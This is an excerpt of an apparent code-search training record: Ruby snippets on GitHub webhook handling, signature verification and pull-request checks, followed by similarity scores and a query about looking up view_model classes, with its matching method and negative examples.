branch.present? && branch.convergence? && @repository.run_ci?\n sha = payload[\"after\"]\n branch.kickoff_new_build_unless_currently_busy(sha)\n end\n end", "def gitlab_webhook?\n # https://docs.gitlab.com/ce/user/project/integrations/webhooks.html\n @headers.key?('HTTP_X_GITLAB_EVENT')\n end", "def push_repo_to_github?\n DeliveryGolang::Helpers::Publish.push_repo_to_github?(node)\n end", "def webhook_url?\n !webhook_url.nil?\n end", "def perform_github_source_checks(s)\n require 'uri'\n\n if git = s[:git]\n return unless git =~ /^#{URI.regexp}$/\n git_uri = URI.parse(git)\n if git_uri.host\n perform_github_uri_checks(git, git_uri) if git_uri.host.end_with?('github.com')\n end\n end\n end", "def authorized_for_github?\n !github.nil?\n end", "def test_push_nothing\n json = {:ref => 'refs/heads/master', :forced => false, :commits => [], :repository => {:name => 'web'}}.to_json\n post '/events', json\n assert_equal 422, last_response.status\n end", "def github\n Log.fatal('You did not configure GitHub yet.') unless @github\n @github\n end", "def github\n process_oauth_callback\n end", "def bitbucket_webhook?\n # https://confluence.atlassian.com/bitbucket/event-payloads-740262817.html\n @headers.key?('HTTP_X_EVENT_KEY') && @headers.key?('HTTP_X_HOOK_UUID')\n end", "def on_github?\n response = github_client_request(client, id, headers: GitHub::APIHeaders.no_cache_no_store)\n response ||= github_classroom_request(id, headers: GitHub::APIHeaders.no_cache_no_store)\n response.present?\n end", "def pull_request?\n !!issue.pull_request.html_url\n end", "def pull_request?\n !!issue.pull_request.html_url\n end", "def github_url\n [homepage, source_code_uri].find do |url|\n GemsBond::Fetchers::Github.valid_url?(url)\n end\n end", "def ci_hook\n case request.headers['HTTP_X_GITHUB_EVENT']\n when 'pull_request'\n data = JSON.parse(request.raw_post)\n pull_request = data['pull_request']\n case data['action']\n when 'opened', 'synchronize'\n commits = JSON.parse(Net::HTTP.get_response(URI.parse(pull_request['commits_url'])).body)\n commits.each do |commit|\n APIHelper.authorized_post(\n \"https://api.github.com/repos/Charcoal-SE/SmokeDetector/statuses/#{commit['sha']}\",\n state: 'pending',\n description: 'An Approve review is required before pull requests can be merged.',\n context: 'metasmoke/ci'\n )\n end\n render plain: \"#{commits.length} commits set to pending.\"\n else\n render(plain: 'Not a newly-opened or updated PR; not interested.') && return\n end\n when 'pull_request_review'\n data = JSON.parse(request.raw_post)\n pull_request = data['pull_request']\n review = data['review']\n if data['action'] == 'submitted' && review['state'] == 'approved'\n commits = JSON.parse(Net::HTTP.get_response(URI.parse(pull_request['commits_url'])).body)\n commits.each do |commit|\n APIHelper.authorized_post(\n \"https://api.github.com/repos/Charcoal-SE/SmokeDetector/statuses/#{commit['sha']}\",\n state: 'success',\n description: 'PR approved :)',\n context: 'metasmoke/ci'\n )\n end\n\n render plain: \"#{commits.length} commits approved.\"\n else\n render(plain: 'Not a submitted Approve review; not interested.') && return\n end\n else\n render(plain: \"Pretty sure we don't subscribe to that event.\") && return\n end\n end", "def push\n ensure_git_and_cucumber_available\n ensure_repository\n\n puts \"Not implemented yet... pull request for push please!\"\n end", "def normalize_github_url\n return if self.github_url.blank?\n\n url = self.github_url || \"\"\n url.gsub!(/(https?:\\/\\/)?(www\\.)?github\\.com\\//, \"\")\n self.github_url = \"https://github.com/#{url}\"\n true\n end", "def check_signature(body)\n received_signature = request.env['HTTP_X_HUB_SIGNATURE'] || ''\n signature = 'sha1=' + hmac_sha1(settings.github_secret, body)\n\n if !Rack::Utils.secure_compare(signature, received_signature)\n build_failed('signature mismatch')\n end\nend", "def same_repo_pull_request?\n payload = Hashr.new(self.payload)\n\n pull_request = payload.pull_request\n return false unless pull_request\n\n head = pull_request.head\n base = pull_request.base\n return false if head.nil? or base.nil?\n\n base_repo = base.repo.try(:full_name)\n head_repo = head.repo.try(:full_name)\n return false if base_repo.nil? or base_repo.nil?\n return false if head.sha.nil? or head.ref.nil?\n\n # it's not the same repo PR if repo names don't match\n return false if head_repo != base_repo\n\n # it may not be same repo PR if ref is a commit\n return false if head.sha =~ /^#{Regexp.escape(head.ref)}/\n\n true\n rescue => e\n Travis::Scheduler.logger.error \"[request:#{id}] Couldn't determine whether pull request is from the same repository: #{e.message}\"\n false\n end", "def project_hook(project)\n # STUB\n end", "def use_github?\n !journal_biohackrxiv?\n end", "def create\n payload_body = request.body.read\n unless verify_signature?(payload_body, request.env['HTTP_X_HUB_SIGNATURE'], Rails.application.secrets.github_webhook_encryption_key)\n raise \"Signatures didn't match: #{request.env['HTTP_X_GITHUB_DELIVERY']}\"\n end\n payload = parse_payload(payload_body)\n resource = resolve_webhook(request.env['HTTP_X_GITHUB_EVENT'], payload)\n unless resource\n raise \"Unsupported event detected: #{request.env['HTTP_X_GITHUB_DELIVERY']}: #{request.env['HTTP_GITHUB_EVENT']}\"\n end\n respond_to do |format|\n if resource.save_or_destroy(action: payload.action)\n format.json { render json: {}, status: :ok }\n else\n format.json { render json: {}, status: :unprocessable_entity }\n end\n end\n end", "def add_from_github(issue_num)\n github_url = 'https://api.github.com/repos/acceptbitcoincash/acceptbitcoincash/issues'\n uri = URI(\"#{github_url}/#{issue_num}\")\n puts 'pulling issue from repository'\n issue = Net::HTTP.get(uri)\n issue = JSON.parse(issue)\n category = get_category(issue['labels'])\n request = SafeYAML.load(extract_issue_yml(issue['body']))[0]\n\n section, websites = read_yaml(category, 'websites')\n unless valid_to_ins(websites, request, 'name')\n puts 'Duplicate of entry, update functionality not yet available'\n return false\n end\n\n if request['img'].nil?\n request['img'] = value_prompt(\"image name for #{request['name']}\")\n elsif request['img'].include? 'http'\n puts \"Download the image from #{request['img']}\"\n request['img'] = value_prompt('image name')\n end\n puts \"Be sure you saved the logo to img/#{category}/#{request['img']}\" \\\n unless img_exists?(category, request['img'])\n\n section['websites'] = add_and_sort(websites, request, 'name')\n if valid_revision(section)\n write_yaml(category, section)\n true\n else\n puts 'Invalid entry, try changing the data before trying again.'\n false\n end\n end", "def gollum_hook\n # This only fires when we want to update the charcoal-se.org website, so we just unconditionally\n # kick off a build of the charcoal-se.org website.\n APIHelper.authorized_post(\n 'https://api.github.com/repos/Charcoal-SE/charcoal-se.github.io/actions/workflows/build.yml/dispatches',\n data: { 'ref' => 'site' }\n )\n end", "def test_push_webhook(repo, hook_id, options = {})\n boolean_from_response :post, \"#{Repository.path repo}/hooks/#{hook_id}/tests\", options\n end", "def setup_incoming_webhook\n @uri = URI.parse \"https://#{@options['team']}.slack.com/services/hooks/incoming-webhook?token=#{@options['incoming_token']}\"\n @http = Net::HTTP.new(@uri.host, @uri.port)\n @http.use_ssl = true\n @http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n end", "def gh_pull_request(data, config)\n action = data['action'] || nil\n pr = data['pull_request'] || nil\n\n Cyclid.logger.debug \"action=#{action}\"\n return true unless action == 'opened' \\\n or action == 'reopened' \\\n or action == 'synchronize'\n\n # Get the list of files in the root of the repository in the\n # Pull Request branch\n html_url = URI(pr['base']['repo']['html_url'])\n pr_sha = pr['head']['sha']\n ref = pr['head']['ref']\n\n Cyclid.logger.debug \"sha=#{pr_sha} ref=#{ref}\"\n\n # Get some useful endpoints & interpolate the SHA for this PR\n url = pr['head']['repo']['statuses_url']\n statuses = url.gsub('{sha}', pr_sha)\n\n url = pr['head']['repo']['trees_url']\n trees = url.gsub('{/sha}', \"/#{pr_sha}\")\n\n # Get an OAuth token, if one is set for this repo\n Cyclid.logger.debug \"attempting to find auth token for #{html_url}\"\n auth_token = nil\n config['repository_tokens'].each do |entry|\n entry_url = URI(entry['url'])\n auth_token = entry['token'] if entry_url.host == html_url.host && \\\n entry_url.path == html_url.path\n end\n\n # XXX We probably don't want to be logging auth tokens in plain text\n Cyclid.logger.debug \"auth token=#{auth_token}\"\n\n # Set the PR to 'pending'\n GithubStatus.set_status(statuses, auth_token, 'pending', 'Preparing build')\n\n # Get the Pull Request\n begin\n trees_url = URI(trees)\n Cyclid.logger.debug \"Getting root for #{trees_url}\"\n\n request = Net::HTTP::Get.new(trees_url)\n request.add_field('Authorization', \"token #{auth_token}\") \\\n unless auth_token.nil?\n\n http = Net::HTTP.new(trees_url.hostname, trees_url.port)\n http.use_ssl = (trees_url.scheme == 'https')\n response = http.request(request)\n\n Cyclid.logger.debug response.inspect\n raise \"couldn't get repository root\" \\\n unless response.code == '200'\n\n root = Oj.load response.body\n rescue StandardError => ex\n Cyclid.logger.error \"failed to retrieve Pull Request root: #{ex}\"\n return_failure(500, 'could not retrieve Pull Request root')\n end\n\n # See if a .cyclid.yml or .cyclid.json file exists in the project\n # root\n job_url = nil\n job_type = nil\n root['tree'].each do |file|\n match = file['path'].match(/\\A\\.cyclid\\.(json|yml)\\z/)\n next unless match\n\n job_url = URI(file['url'])\n job_type = match[1]\n end\n\n Cyclid.logger.debug \"job_url=#{job_url}\"\n\n if job_url.nil?\n GithubStatus.set_status(statuses, auth_token, 'error', 'No Cyclid job file found')\n return_failure(400, 'not a Cyclid repository')\n end\n\n # Pull down the job file\n begin\n Cyclid.logger.info \"Retrieving PR job from #{job_url}\"\n\n request = Net::HTTP::Get.new(job_url)\n request.add_field('Authorization', \"token #{auth_token}\") \\\n unless auth_token.nil?\n\n http = Net::HTTP.new(job_url.hostname, job_url.port)\n http.use_ssl = (job_url.scheme == 'https')\n response = http.request(request)\n raise \"couldn't get Cyclid job\" unless response.code == '200'\n\n job_blob = Oj.load response.body\n case job_type\n when 'json'\n job_definition = Oj.load(Base64.decode64(job_blob['content']))\n when 'yml'\n job_definition = YAML.load(Base64.decode64(job_blob['content']))\n end\n\n # Insert this repository & branch into the sources\n #\n # XXX Could this cause collisions between the existing sources in\n # the job definition? Not entirely sure what the workflow will\n # look like.\n job_sources = job_definition['sources'] || []\n job_sources << { 'type' => 'git',\n 'url' => html_url.to_s,\n 'branch' => ref,\n 'token' => auth_token }\n job_definition['sources'] = job_sources\n\n Cyclid.logger.debug \"sources=#{job_definition['sources']}\"\n rescue StandardError => ex\n GithubStatus.set_status(statuses,\n auth_token,\n 'error',\n \"Couldn't retrieve Cyclid job file\")\n Cyclid.logger.error \"failed to retrieve Github Pull Request job: #{ex}\"\n raise\n end\n\n Cyclid.logger.debug \"job_definition=#{job_definition}\"\n\n begin\n callback = GithubCallback.new(statuses, auth_token)\n job_from_definition(job_definition, callback)\n rescue StandardError => ex\n GithubStatus.set_status(statuses, auth_token, 'failure', ex)\n return_failure(500, 'job failed')\n end\n end", "def has_github?\n github_identity.present?\n end", "def handle_github_web_hook(github_post_data)\n broadcast = self[github_post_data.repository.name].handle_github_web_hook(github_post_data)\n all_comments.concat(broadcast)\n broadcast\n end", "def event\n request.env[\"HTTP_X_GITHUB_EVENT\"]\n end", "def github_pr_checks_url(suite)\n return unless pr = suite.fetch(:pull_requests).first\n \"#{pr[:url].sub('://api.', '://').sub('/repos/', '/').sub('/pulls/', '/pull/')}/checks\"\n end", "def github_repo?\n @url.scan('https://github.com/').present?\n end", "def valid_request?\n signature = github_signature\n my_signature = 'sha1=' + OpenSSL::HMAC.hexdigest(\n OpenSSL::Digest.new('sha1'),\n ENV['GITHUB_WEBHOOK_SECRET'],\n github_payload_raw\n )\n\n json_response(json_access_denied, :unauthorized) unless Rack::Utils.secure_compare(my_signature, signature)\n rescue StandardError => e\n msg = \"#{self.class}##{__method__} An error occurred while determine if request is valid\"\n Rails.logger.error(\n message: msg,\n exception: e\n )\n\n json_response(json_access_denied(errors: { message: \"#{msg}, exception: #{e.message}\" }), :unauthorized)\n end", "def should_redirect?(req)\n (req.host != ENV['CUSTOM_DOMAIN']) &&\n !((req.path == '/git_commits.json') && req.post?)\n end", "def _github\n Lexhub.configuration.github\n end", "def same_repo_pull_request?\n # When we're starting to archive payloads after N months we'll also disallow\n # restarting builds older than N months. Once we do so we can also return\n # false if Scheduler.config.enterprise is not true.\n\n # It's not the same repo PR if repo names don't match\n return false if head_repo_vcs_id != repository.vcs_id\n # It may not be the same repo if head_ref or head_sha are missing\n return false if head_ref.nil? or head_sha.nil?\n # It may not be same repo PR if ref is a commit\n return false if head_sha =~ /^#{Regexp.escape(head_ref)}/\n true\n rescue => e\n Travis::Scheduler.logger.error \"[request:#{id}] Couldn't determine whether pull request is from the same repository: #{e.message}\"\n false\n end", "def bitbucket_server_webhook?\n # https://confluence.atlassian.com/bitbucketserver/event-payload-938025882.html\n @headers.key?('HTTP_X_EVENT_KEY') && @headers.key?('HTTP_X_REQUEST_ID')\n end", "def push_type_for_validate\n if advisory_rhn_live_pushed?\n 'cdn_if_live_push_succeeds'\n end\n end", "def stash_webhook?\n # This payload is the `Web Post Hooks for Bitbucket Server` hook plugin.\n # https://marketplace.atlassian.com/apps/1211539/web-post-hooks-for-bitbucket-server?hosting=server&tab=overview\n # https://confluence.atlassian.com/bitbucketserver/post-service-webhook-for-bitbucket-server-776640367.html\n @headers.key?('HTTP_X_ATLASSIAN_TOKEN')\n end", "def github_domain?\n !!domain.match(/\\.github\\.com$/)\n end", "def github_pull\n Extension.github_sync\n end", "def update_github\n unless environment_is_production\n puts 'NOT updating github because environment is not production'\n return false\n end\n\n puts 'pushing database to github'\n\n @scraper_log.info \"------------------------------\"\n @scraper_log.info \"updating git\"\n @scraper_log.info \"------------------------------\"\n x = Subexec.run \"git add #{@db_dump_file} #{@status_file_name}\"\n x = Subexec.run \"git commit -m 'Updated database dump file and status.json with new hr.gov.ge data'\"\n x = Subexec.run \"git push origin master\"\nend", "def github_url\n github_user.blank? ? nil : \"#{GITHUB_URL}#{github_user}\"\n end", "def integration\n body = JSON.parse(request.body.read)\n\n if body.key?(\"zen\")\n head :ok\n return\n end\n\n request.body.rewind\n\n event = request.headers[\"X-GitHub-Event\"]\n case event\n when \"push\"\n ref = body[\"ref\"]\n unless ref == \"refs/heads/master\"\n head :ok\n return\n end\n\n ReceivePushEvent.perform_async(\n body[\"repository\"][\"full_name\"],\n body.dig(\"installation\", \"id\")\n )\n when \"pull_request\"\n pull_request\n return\n when \"issue_comment\"\n issue_comment\n return\n when \"installation\"\n ReceiveInstallationRepositoriesEvent.perform_async(\n body[\"repositories\"],\n body.dig(\"installation\", \"id\")\n )\n when \"installation_repositories\"\n ReceiveInstallationRepositoriesEvent\n .perform_async(\n body[\"repositories_added\"],\n body.dig(\"installation\", \"id\")\n )\n end\n\n head :accepted\n end", "def access_to_repo?(repo_url: nil)\n client.repository?(repo_url.sub(\"https://github.com/\", \"\"))\n end", "def github_url\n \"https://github.com/rails/rails/commit/#{sha1}\"\n end", "def fetch_from_github\n repo, branch, path = Post.parse_github_url self.github\n Environment.github.contents repo, ref: branch, path: path\n end", "def verify_webhook_signature\n their_signature_header = request.env['HTTP_X_GEOTIX_SIGNATURE'] || 'sha1='\n method, their_digest = their_signature_header.split('=')\n our_digest = OpenSSL::HMAC.hexdigest(method, WEBHOOK_SECRET, \"#{auth_token}#{@payload_raw}\")\n halt [401, \"Signatures don't match.\"] unless their_digest == our_digest\n end", "def create_hook!\n hook = client.create_hook(\n full_name,\n 'web',\n {\n url: Constants::HOOK_URL,\n content_type: 'json'\n },\n {\n events: ['release'],\n active: true\n }\n )\n\n self.github_hook_id = hook.id\n end", "def githubAPIEndpoint()\n domain = 'api.github.com' unless ENV['HOMEBREW_PIPELINE_GITHUB_DOMAIN']\n return \"https://#{domain}/\"\n end", "def verify_signature(payload_body)\n signature = 'sha1=' + OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), ENV['WEBHOOK_SECRET_TOKEN'], payload_body)\n return halt 500, \"Signatures didn't match!\" unless Rack::Utils.secure_compare(signature, request.env['HTTP_X_HUB_SIGNATURE'])\nend", "def check_github_response\n Retriable.retriable(retry_options) do\n yield\n end\n rescue MovedPermanentlyError => e\n fail_with_message(e, \"The repository has moved, update your configuration\")\n rescue Octokit::Forbidden => e\n fail_with_message(e, \"Exceeded retry limit\")\n rescue Octokit::Unauthorized => e\n fail_with_message(e, \"Error: wrong GitHub token\")\n end", "def github_url(payload)\n if(payload.get(:data, :code_fetcher, :info, :private))\n uri = URI.parse(payload.get(:data, :code_fetcher, :info, :url))\n uri.scheme = 'https'\n uri.user = config.fetch(:github, :access_token,\n app_config.get(:github, :access_token)\n )\n uri.to_s\n else\n payload.get(:data, :code_fetcher, :info, :url)\n end\n end", "def github_url\n \"http://github.com/280north/cappuccino/commit/#{sha1}\"\n end", "def webhook_url\n return @config[ :webhook ]\n end", "def github_push(payload)\n\n pushType = payload[\"repository\"][\"full_name\"].split(\"/\")[1].split(\"-\")[0]\n if pushType == \"assignment\"\n TestGraderWorker.perform_async(payload)\n end\n\n org = payload[\"repository\"][\"organization\"]\n repo = payload[\"repository\"][\"name\"]\n repo_array = repo.split(\"-\")\n\n project_name = repo_array[0]\n type = repo_array[1]\n user = repo_array[2]\n\n expected_repo = \"#{org}/#{project_name}-expected\" \n student_repo = \"#{org}/#{project_name}-#{user}\"\n grade_repo = \"#{org}/#{project_name}-grade\"\n #results_repo = \"#{org}/#{project_name}-results-#{type}\"\n\n organization = Organization.new.github_client\n case type\n when \"grader\"\n if not organization.repository?(expected_repo)\n organization.create_repository(\n \"#{project_name}-expected\", organization: org, auto_init: true)\n end\n when \"expected\"\n when \"grade\"\n #when \"results\"\n # if not organization.repository?(grade_repo)\n # organization.create_repository(\n # \"#{project_name}-grade\", organization: org, auto_init: true)\n # end\n else\n if not organization.repository?(grade_repo)\n organization.create_repository(\n \"#{project_name}-grade\", organization: org, auto_init: true)\n end\n end\n\tend", "def githubize\n # method goes here\n end", "def event_processing\n Github::Client.initialize(request)\n end", "def github_handle\n user.try(:github_handle)\n end", "def url_from_github_upload_url(string)\n match = string.match(/^!\\[.*\\]\\((https:\\/\\/\\S*)\\)$/)\n match[1] unless match.nil?\n end", "def github_url\n @github_url ||= \"https://github.com/#{options[:github_owner]}/#{name}\"\n end", "def webhook\n @config = ZipMoney::Configuration \n @_webhook = ZipMoney::WebHook if @_webhook.nil?\n @_webhook\n end", "def ignore_event?\n # Explicitly ignore GitHub ping events\n return true if request.env['HTTP_X_GITHUB_EVENT'] == 'ping'\n\n list = @config['repository_events']\n event = request.env['HTTP_X_GITHUB_EVENT']\n\n # negate this, because we should respond if any of these conditions are true\n ! (list.nil? or list == event or list.include?(event))\n end", "def check_git_ssh_source(s)\n if git = s[:git]\n if git =~ %r{\\w+\\@(\\w|\\.)+\\:(/\\w+)*}\n results.add_warning('source', 'Git SSH URLs will NOT work for ' \\\n 'people behind firewalls configured to only allow HTTP, ' \\\n 'therefore HTTPS is preferred.', true)\n end\n end\n end", "def webhook\n puts \"webhook params: #{params.inspect}\"\n if GoCardless.webhook_valid?(params[:payload])\n render :text => \"true\", :status => 200\n else\n render :text => \"false\", :status => 403\n end\n end", "def backported_from_master?\n branch != 'origin/master' && self.class.exists?(:branch => 'origin/master', :message => message, :author => author)\n end", "def verify_repo_exists(config)\n build_client(config).repo config[:repo]\n end", "def alert_if_needs_pushing(dir = Dir.pwd)\n Dir.chdir(dir) {puts \"WARNING: #{dir} needs to be pushed to remote origin\" if needs_pushing? }\nend", "def has_remote_tracking_branch(repo)\n return false if $branch_name.empty?\n\n begin\n return !repo.branches[$remote_branch].nil?\n rescue\n return false\n end\nend", "def create_webhook(repo, config = {}, options = {})\n opts = options.dup\n opts[:config] = config\n raise Octokit::MissingKey unless config.key? :url\n\n post \"#{Repository.path repo}/hooks\", opts\n end", "def github_repo(node)\n node['delivery']['config']['build_attributes']['publish']['github']\n end", "def send_to_github\n ExceptionHub.current_octokit.create_issue(\"#{ExceptionHub.repo_owner}/#{ExceptionHub.repo_name}\", self.title, self.description, :open_timeout => 5)\n end", "def ignore_event?\n # Explicitly ignore GitHub ping events\n return true if request.env['HTTP_X_GITHUB_EVENT'] == 'ping'\n\n list = $config['repository_events']\n event = request.env['HTTP_X_GITHUB_EVENT']\n\n # negate this, because we should respond if any of these conditions are true\n ! (list.nil? or list == event or list.include?(event))\n end", "def git_receive_pack\n render_ok\n end", "def validate_repo(repo)\n repo_valid = true\n if /review\\.fuel-infra\\.org/.match(repo).nil? and /github\\.com\\/fuel-infra/.match(repo).nil?\n repo_valid = false\n end\n repo_valid\n end", "def receive(payload)\n event_info = github_event(payload)\n\n puts \"#{event_info['action']} #{event_info['event']}\"\n if event_info['event'] == 'pull_request' &&\n (event_info['action'] == 'opened' || event_info['action'] == 'reopened')\n PullRequestHandler.new(payload).handle\n end\n end", "def webhook url\n @webhook_uri = url\n end", "def github_repo\n self.github_url&.gsub(\"https://github.com/\", \"\")\n end", "def valid?(message)\n super do |payload|\n payload.get(:data, :github_kit, :commit_comment) ||\n payload.get(:data, :github_kit, :status)\n end\n end", "def pr_has_head_repo(req)\n not req['head']['repo'].nil?\n end", "def any_status_hook\n repo = params[:name]\n link = \"https://github.com/#{repo}\"\n sha = params[:sha]\n state = params[:state]\n context = params[:context]\n description = params[:description]\n target = params[:target_url]\n\n return if state == 'pending' || (state == 'success' && context == 'github/pages')\n\n if repo == 'Charcoal-SE/metasmoke' && context.start_with?('ci/circleci')\n ci_counter = Redis::CI.new(sha)\n if state == 'success'\n ci_counter.sucess_count_incr\n return unless ci_counter.sucess_count == 3\n context = 'ci/circleci'\n else\n ci_counter.sucess_count_reset\n end\n end\n\n message = \"[ [#{repo.sub('Charcoal-SE/', '')}](#{link}) ]\"\n message += \" #{context} \"\n message += if target.present?\n \"[#{state}](#{target})\"\n else\n state\n end\n message += \" on [#{sha.first(7)}](#{link}/commit/#{sha.first(10)})\"\n message += \": #{description}\" if description.present?\n\n ActionCable.server.broadcast 'smokedetector_messages', message: message\n end", "def topic\n \"https://github.com/#{@repository.owner}/#{@repository.name}/events/pull_request\"\n end", "def topic\n \"https://github.com/#{@repository.owner}/#{@repository.name}/events/pull_request\"\n end", "def validate_target_remote_branch\n remote_path = File.join(config[:remote], config[:branch])\n\n remotes = []\n @gitrepo.remotes.each { |remote| remotes << remote.name }\n unless remotes.include?(remote_path)\n ui.error 'The remote/branch specified does not seem to exist.'\n exit 7\n end\n end", "def needs_checkout?\n expected = ref.sha1\n actual = rev_parse('HEAD')\n\n ! (expected == actual)\n end", "def check\n super\n uncommitted = Git.uncommitted_files\n fail \"Uncommitted files violate the First Principle Of Release!\\n#{uncommitted.join(\"\\n\")}\" unless uncommitted.empty?\n fail \"You are releasing from a local branch that does not track a remote!\" unless Git.remote\n end", "def github_url\n \"https://github.com/#{self.nickname}\"\n end", "def develop_pr_check\n\n result = CheckResult.new(\"Develop PR Check Result\")\n\n ## PR should be sent from a branch that begins with `feature/`, `refactor/`, `fix/`, `issue/` or `version/`\n result.message << \"Head Branch check |\"\n is_from_feature = github.branch_for_head.start_with?(\"feature/\")\n is_from_refactor = github.branch_for_head.start_with?(\"refactor/\")\n is_from_fix = github.branch_for_head.start_with?(\"fix/\")\n is_from_issue = github.branch_for_head.start_with?(\"issue/\")\n is_from_version = github.branch_for_head.start_with?(\"version/\")\n if is_from_feature || is_from_refactor || is_from_fix || is_from_issue || is_from_version\n result.message << \":o:\\n\"\n else\n fail \"Please send the PR from a from a branch that begins with `feature/`, `refactor/`, `fix/`, `issue/` or `version/`.\"\n result.message << \":x:\\n\"\n result.errors += 1\n end\n\n ## PR should be sent to `develop` branch\n result.message << \"Base Branch check |\"\n is_to_develop = github.branch_for_base == \"develop\"\n if is_to_develop\n result.message << \":o:\\n\"\n else\n fail \"Please send the PR to `develop` branch.\"\n result.message << \":x:\\n\"\n result.errors += 1\n end\n\n ## If PR is sent from a branch that begins with `version/`, do a release modification check\n if is_from_version\n release_modification_check_into_result(result)\n end\n\n ## PR shouldn't contain any merge commits\n result.message << \"Merge Commits check |\"\n contains_merge_commits = git.commits.any? { |c| c.parents.length > 1 }\n unless contains_merge_commits\n result.message << \":o:\\n\"\n else\n fail \"Please don't contain any merge commits in the branch. Consider Rebase if required.\"\n result.message << \":x:\\n\"\n result.errors += 1\n end\n\n ## PR should have less than 1000 lines of modifications if possible.\n result.message << \"Modification Volumn check |\"\n is_fix_too_big = git.lines_of_code > 1_000\n unless is_fix_too_big\n result.message << \":o:\\n\"\n else\n warn \"Too many modifications. Please consider splitting the PR if possible.\"\n result.message << \":heavy_exclamation_mark:\\n\"\n result.warnings += 1\n end\n\n return result\n\nend", "def marked_for_same_origin_verification?; end", "def github_push(payload)\n pushType = payload[\"repository\"][\"full_name\"].split(\"/\")[1].split(\"-\")[0]\n if pushType == \"assignment\"\n TestGraderWorker.perform_async(payload)\n end\n\tend" ]
[ "0.7136373", "0.6911919", "0.6882233", "0.66394585", "0.6498836", "0.64101005", "0.63556576", "0.6300114", "0.6272983", "0.6263316", "0.62348485", "0.621879", "0.62051046", "0.6111002", "0.6072442", "0.60667765", "0.6032845", "0.60207754", "0.5969444", "0.5953115", "0.592081", "0.5896893", "0.5887885", "0.5887885", "0.5883558", "0.58682775", "0.58457446", "0.5830969", "0.5830302", "0.58200175", "0.5819572", "0.581517", "0.579178", "0.578508", "0.5777081", "0.5758653", "0.57577574", "0.57536036", "0.57359785", "0.57355314", "0.5733834", "0.5726091", "0.57201326", "0.5719385", "0.5709546", "0.56981146", "0.5694594", "0.56691474", "0.56422925", "0.56354743", "0.56313497", "0.5631059", "0.5595921", "0.5595409", "0.5576308", "0.55695856", "0.55636907", "0.55398256", "0.5533803", "0.5529526", "0.5514288", "0.5514183", "0.54972714", "0.54929775", "0.54928076", "0.5488139", "0.54816025", "0.54810125", "0.5478082", "0.54762113", "0.5474874", "0.5473221", "0.54649544", "0.5451732", "0.54473406", "0.5442236", "0.5439765", "0.5429946", "0.5429159", "0.54239786", "0.54104245", "0.5398858", "0.5398099", "0.5389337", "0.53826374", "0.5377853", "0.5376147", "0.53748477", "0.5371515", "0.5362202", "0.53512925", "0.5351058", "0.5349095", "0.5349095", "0.5349013", "0.53489095", "0.5348192", "0.5334914", "0.5332088", "0.53214604", "0.52998286" ]
0.0
-1
Get the view_model class for the given model instance. Note: ViewModels are usually of class ViewModels::. (As returned by default_view_model_class_for) Override specific_mapping if you'd like to install your own. OR: Override default_view_model_class_for(model) if you'd like to change the default.
def view_model_class_for model specific_view_model_class_for(model) || default_view_model_class_for(model) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def model_class\n @model_class ||= mapping.to\n end", "def process_params_model_view(params, options)\n model_view = options[:model_name].constantize if options[:model_name]\n model_view ||= model_string_to_constant(params[:model_name]) if params[:model_name]\n model_view ||= model_from_active_tree(params[:active_tree].to_sym) if params[:active_tree]\n model_view || controller_to_model\n end", "def model_class\n @model_class ||= controller_path.classify.constantize\n end", "def model_class(model_or_controller_name)\n # site settings isn't a model so it isn't defined\n @model_class = model_or_controller_name.singular.camelcase.constantize rescue nil\n end", "def model_class(model_or_controller_name)\n # site settings isn't a model so it isn't defined\n @model_class = model_or_controller_name.singular.camelcase.constantize rescue nil\n end", "def model_class\n @model_class ||= model_name.camelize.constantize\n end", "def model_class\n return @model_class || self.class.model_class\n end", "def model_class\n @model_class ||= derived_model_class_name.constantize\n end", "def extract_model_klass(value)\n model_klass = @model_wrapper.call(value)\n\n raise_extract_wrapper_error(model_klass) unless implements_model?(model_klass)\n\n model_klass\n end", "def to_class(model_name)\r\n Kernel.const_get(model_name.to_s.camelize)\r\n end", "def view_component_class_for(model)\n if model.kind_of?(Work)\n SearchResult::WorkComponent\n elsif model.kind_of?(Collection)\n SearchResult::CollectionComponent\n else\n raise ArgumentError.new(\"Don't know proper search results ViewModel class for #{model}\")\n end\n end", "def model_class\n self.class.models[implementation_model_name]\n end", "def controller_for_model(klass)\n model = ui_base_model(klass)\n if klass <= VmOrTemplate\n controller_for_vm(klass)\n elsif model.respond_to?(:db_name)\n model.db_name.underscore\n else\n model.name.underscore\n end\n end", "def model_class\n self.class.const_get('MODEL')\n end", "def view_model_path\n @view_model_path || @view_model_path = self.name.underscore\n end", "def model\n @model ||= if self.class.path_to_model\n m = eval(self.class.path_to_model)\n if m\n if m.respond_to?(:_controller=)\n m.send(:_controller=, self)\n end\n else\n fail \"No model object found at path: #{self.class.path_to_model}\"\n end\n m\n end\n end", "def controller_model_class\n c = controller_name.to_s.pluralize.singularize.camelize.constantize\n if c.respond_to? :new\n c # looks like we've got a real class\n else\n nil # TODO throw error?\n end\n end", "def get_content_model(model_name)\n model_hash = content_types.select{|x| x[:name] == model_name}.first\n return model_hash[:class_name].nil? ? model_name.constantize : model_hash[:class_name].constantize\n end", "def current_model\n Object.const_get(params[:model].classify)\n end", "def to_model_class\n to_model_name.classify.constantize\n end", "def get_model(from_get_recordset: false)\n return @model if instance_variable_defined?(:@model) && @model\n return (@model = self.class.model) if self.class.model\n\n # Delegate to the recordset's model, if it's defined.\n unless from_get_recordset # prevent infinite recursion\n if (recordset = self.get_recordset)\n return @model = recordset.klass\n end\n end\n\n # Try to determine model from controller name.\n begin\n return (@model = self.class.name.demodulize.match(/(.*)Controller/)[1].singularize.constantize)\n rescue NameError\n end\n\n return nil\n end", "def set_model\n @model_class = self.class.name.gsub(/Controller$/, '').singularize.constantize\n end", "def model_class_name(name=nil)\n @model_class_name = name if name\n @model_class_name ||= guess_model_class_name\n end", "def model_class\n @class_name.constantize\n end", "def model_klass\n controller_name.classify.constantize\n end", "def controller_model\n @controller_model ||= begin\n controller_name.singularize.camelize.constantize\n rescue\n nil\n end\n end", "def class_from_name\n if model_name.to_s.include? \"_\"\n ns, *klass = model_name.to_s.split(\"_\").collect(&:camelize)\n begin\n \"#{ns}::#{klass.join(\"\")}\".constantize\n rescue NameError\n \"#{ns}#{klass.join(\"\")}\".constantize\n end\n else\n model_name.to_s.camelize.constantize\n end\n end", "def model_class_name\n implementation_model_name.ns_camelize\n end", "def class_at_path(path)\n if path\n begin\n # remove the _ and then singularize\n if path.last == :[]\n index = -2\n else\n index = -1\n end\n\n klass_name = 